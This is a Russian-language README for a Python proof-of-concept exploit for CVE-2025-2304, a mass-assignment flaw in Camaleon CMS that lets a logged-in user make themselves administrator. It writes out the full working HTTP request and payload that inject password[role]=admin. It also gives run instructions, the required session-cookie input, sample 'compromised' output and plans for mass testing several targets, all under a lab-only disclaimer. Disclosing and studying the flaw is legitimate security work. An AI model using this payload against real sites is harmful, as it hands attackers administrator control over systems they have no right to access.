CVE-2025-2304 - Небезопасное присвоение массовых параметров (Mass Assignment) в Camaleon CMS, приводящее к повышению привилегий

📌 Описание проекта

CVE-2025-2304 — это уязвимость небезопасного присвоения массовых параметров в Camaleon CMS (версии < 2.9.1), которая позволяет аутентифицированному пользователю повысить свои привилегии до администратора путём манипуляции параметром role в запросах на смену пароля.

🚨 Техническое описание уязвимости

Контекст уязвимости

Camaleon CMS использует Ruby on Rails, и в версии 2.9.0 содержит уязвимость небезопасного присвоения массовых параметров в контроллере UsersController#updated_ajax. Контроллер использует .permit! без ограничений, что позволяет напрямую присваивать модели пользователя любой параметр, переданный в запросе.

Вектор атаки

1. Уязвимая конечная точка: POST /admin/users/{user_id}/updated_ajax
2. Критический параметр: password[role], передаваемый в пространстве имён password
3. Механизм: Контроллер обрабатывает params.require(:password), а затем применяет .permit!, что не фильтрует никакие параметры
4. Результат: Внедрение значения "admin" в поле role пользователя

Техническая схема

POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

Параметр password[role] обрабатывается User.update(permitted_params) и напрямую присваивается записи пользователя из-за .permit!, повышая привилегии с user до admin.

⚡ Установка и использование

Предварительные требования

# Python 3.6+
python3 --version

# Required libraries
pip install requests

Запуск скрипта

Английская версия:

python3 exploit_cve_2025_2304_en.py

Испанская версия:

python3 exploit_cve_2025_2304.py

Требуемые данные

Скрипт будет запрашивать интерактивно:

1. Базовый URL сервера: http(s)://domain:port
2. ID пользователя: Идентификатор пользователя-атакующего
3. Сессионная cookie: значение _cms_session (полученное после входа)
4. Новый пароль: Необязательно (по умолчанию: P@ssw0rd_lab_2025!)

Пример полной команды

python3 exploit_cve_2025_2304_en.py

[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456

🔧 Об этом скрипте

Зачем я это создал?

Когда я обнаружил эту уязвимость, моим первым порывом было протестировать её вручную через Burp Suite — и это сработало. Но я хотел пойти дальше и превратить ручной процесс в нечто повторяемое и переносимое, поэтому написал этот скрипт. Помимо простой эксплуатации бага, создание этого скрипта дало мне возможность разобраться с некоторыми вещами, которые мне действительно интересны:

• Автоматизация многошаговых HTTP-потоков с управлением сессиями
• Динамический разбор CSRF-токенов из живых ответов
• Работа с неоднородными JSON/HTML-ответами от одной и той же конечной точки
• Точное знание, когда эксплуатация удалась — а когда нет

Я не пытаюсь заменить Burp или Caido. Эти инструменты незаменимы для интерактивного тестирования. Это просто результат того, что я предпочитаю написать скрипт, чем повторять одно и то же.

⚠️ Отказ от ответственности и этические соображения

ВАЖНОЕ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ

ЭТОТ СКРИПТ ПРЕДНАЗНАЧЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ:
- Контролируемых лабораторных сред
- Систем, которыми вы владеете или на тестирование которых имеете явное разрешение
- Образовательных целей и разрешённых исследований

СТРОГО ЗАПРЕЩЕНО:
- Использование на системах без разрешения
- Применение со злонамеренными намерениями
- Нарушение законов о защите данных
- Компрометация безопасности третьих сторон

Автор не несёт ответственности за неправомерное использование этого инструмента.

📊 Примеры экранов

Успешное выполнение

╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS — Массовое присвоение    ║
║        Повышение привилегий: user → admin                    ║
║        [ЛАБОРАТОРИЯ / КОНТРОЛИРУЕМАЯ СРЕДА]                  ║
╚══════════════════════════════════════════════════════════════╝

[✔] CSRF-токен получен: abc123def456...
[✔] ЭКСПЛУАТАЦИЯ УСПЕШНА: Сервер подтвердил обновление.
[✔] Статус: СКОМПРОМЕТИРОВАН
   Пользователь 5 теперь должен иметь роль 'admin'.

Структура полезной нагрузки

{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 План развития и будущие улучшения

Планируемые улучшения

1. Автоматизация входа: Интеграция для автоматического получения сессии
2. Определение версии: Скрипт для снятия отпечатка и подтверждения уязвимой версии
3. Подробный/тихий режим для более чистого вывода в автоматизированных конвейерах
4. Массовое тестирование: Возможность одновременного тестирования нескольких пользователей/URL
5. Генерация отчёта: Экспорт результатов в формате JSON/HTML

Расширяемость

Код модульно структурирован для облегчения:

• Адаптации к другим уязвимостям массового присвоения
• Интеграции в фреймворки для пентестинга
• Добавления функций логирования и мониторинга

📚 Ссылки и ресурсы

• Официальный CVE: CVE-2025-2304
• Camaleon CMS: Официальный репозиторий
• Патч: Версия 2.9.1 исправляет использование .permit!
• Документация Rails: Strong Parameters

🤝 Вклад

Приветствуются вклады, которые:

1. Улучшают обнаружение условий успеха
2. Добавляют функциональность, сохраняя этическую направленность
3. Исправляют ошибки или улучшают обработку ошибок
4. Документируют дополнительные варианты использования

Помните: Этот проект имеет исключительно образовательную и разрешённую исследовательскую цель.

Последнее обновление: апрель 2025 г. | Автор: Аналитик по безопасности (лабораторная среда)